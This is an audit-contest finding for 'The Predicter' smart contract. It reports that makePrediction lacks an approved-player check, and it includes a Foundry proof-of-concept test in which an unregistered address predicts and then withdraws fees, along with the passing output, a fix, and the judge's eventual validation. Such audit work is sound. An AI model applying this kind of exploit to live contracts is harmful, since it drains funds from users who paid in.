First Flight #20: The Predicter
First Flight #20
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Any unregistered user can make prediction and withdraw after the tournament is over

farismaulana

Summary

ThePredicter::makePrediction checks if the predictionFee is paid and if the match not started but fails to check whether the msg.sender are approved player or not. The unregistered/unapproved player can even withdraw from the contract after they make prediction and wait until the tournament is over.

Vulnerability Details

makePrediction are missing critical check where it checks msg.sender actually approved player or not.

function makePrediction(uint256 matchNumber, ScoreBoard.Result prediction) public payable {
if (msg.value != predictionFee) {
revert ThePredicter__IncorrectPredictionFee();
}
​
if (block.timestamp > START_TIME + matchNumber * 68400 - 68400) {
revert ThePredicter__PredictionsAreClosed();
}
​
scoreBoard.confirmPredictionPayment(msg.sender, matchNumber);
scoreBoard.setPrediction(msg.sender, matchNumber, prediction);
}
POC

add this code to the ThePredicter.test.sol

function test_POCUnregisteredPlayerCanPredictAndWithdraw() public {
// honest player register and approved
address honestPlayer = makeAddr("honestPlayer");
vm.startPrank(honestPlayer);
vm.deal(honestPlayer, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
​
vm.prank(organizer);
thePredicter.approvePlayer(honestPlayer);
​
// stranger dont register
vm.startPrank(stranger);
vm.deal(stranger, 1 ether);
vm.stopPrank();
​
// honest player make 2 prediction
vm.startPrank(honestPlayer);
thePredicter.makePrediction{value: 0.0001 ether}(0, ScoreBoard.Result.Draw);
thePredicter.makePrediction{value: 0.0001 ether}(1, ScoreBoard.Result.Draw);
vm.stopPrank();
​
// stranger make 2 prediction
vm.startPrank(stranger);
thePredicter.makePrediction{value: 0.0001 ether}(0, ScoreBoard.Result.Draw);
thePredicter.makePrediction{value: 0.0001 ether}(1, ScoreBoard.Result.Draw);
vm.stopPrank();
​
// result set
vm.startPrank(organizer);
scoreBoard.setResult(0, ScoreBoard.Result.Draw);
scoreBoard.setResult(1, ScoreBoard.Result.Draw);
scoreBoard.setResult(2, ScoreBoard.Result.First);
scoreBoard.setResult(3, ScoreBoard.Result.First);
scoreBoard.setResult(4, ScoreBoard.Result.First);
scoreBoard.setResult(5, ScoreBoard.Result.First);
scoreBoard.setResult(6, ScoreBoard.Result.First);
scoreBoard.setResult(7, ScoreBoard.Result.First);
scoreBoard.setResult(8, ScoreBoard.Result.First);
vm.stopPrank();
​
// stranger try to withdraw funds
vm.startPrank(stranger);
uint256 balanceBeforeWithdraw = stranger.balance;
thePredicter.withdraw();
vm.stopPrank();
// check if the withdrawal succeed by checking if stranger balance is increased
assert(stranger.balance > balanceBeforeWithdraw);
}

then run the following command forge test --mt test_POCUnregisteredPlayerCanPredictAndWithdraw
the result should PASS:

Ran 1 test for test/ThePredicter.test.sol:ThePredicterTest
[PASS] test_POCUnregisteredPlayerCanPredictAndWithdraw() (gas: 354462)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.10ms (408.65µs CPU time)

Impact

the fee from contract can be taken by unregistered player who does not even pay the entrance fee.

Tools Used

foundry

Recommendations

add checks to the makePrediction function to check if the msg.sender are part of the approved player or not:

function makePrediction(uint256 matchNumber, ScoreBoard.Result prediction) public payable {
+ require(playersStatus[msg.sender] == Status.Approved, "non approved player cant make prediction");
if (msg.value != predictionFee) {
revert ThePredicter__IncorrectPredictionFee();
}
​
if (block.timestamp > START_TIME + matchNumber * 68400 - 68400) {
revert ThePredicter__PredictionsAreClosed();
}
​
scoreBoard.confirmPredictionPayment(msg.sender, matchNumber);
// hasPaid[msg.sender][matchNumber] = true;
scoreBoard.setPrediction(msg.sender, matchNumber, prediction);
}

after that run the command forge test --mt test_POCUnregisteredPlayerCanPredictAndWithdraw

the test result should FAIL

Failing tests:
Encountered 1 failing test in test/ThePredicter.test.sol:ThePredicterTest
[FAIL. Reason: revert: non approved player cant make prediction] test_POCUnregisteredPlayerCanPredictAndWithdraw() (gas: 236456)
Updates

Lead Judging Commences

NightHawK Lead Judge 11 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Appeal created

farismaulana Submitter
11 months ago
NightHawK Lead Judge
11 months ago
farismaulana Submitter
11 months ago
NightHawK Lead Judge 11 months ago
Submission Judgement Published
Validated
Assigned finding tags:

makePrediction lacks access control

makePrediction has no access controls and any unapproved user can make predictions causing an incorrect calculation and distribution of rewards.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.